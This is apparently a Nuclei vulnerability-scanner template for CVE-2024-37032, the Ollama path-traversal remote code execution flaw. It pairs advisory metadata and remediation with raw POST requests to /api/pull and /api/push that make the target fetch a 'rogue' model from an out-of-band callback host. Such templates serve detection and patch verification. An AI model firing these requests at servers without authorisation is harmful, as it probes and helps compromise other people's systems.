id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  impact: |
    Attackers can exploit improper digest validation to achieve remote code execution on Ollama servers.
  remediation: |
    Update Ollama to version 0.1.34 or later.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  classification:
    epss-score: 0.89633
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ollama
    product: ollama
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce,ai,vkev,vuln

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and
# digest: 4a0a004730450221008f16f34ad09296792590b4ed03843929e1217a8133a4c362defc966eaae7f1fd0220253b90170041ab3ca275b07591a85e4c47eda95bffe686c0f217cfc9652ff453:922c64590222798bb761d5b6d8e72950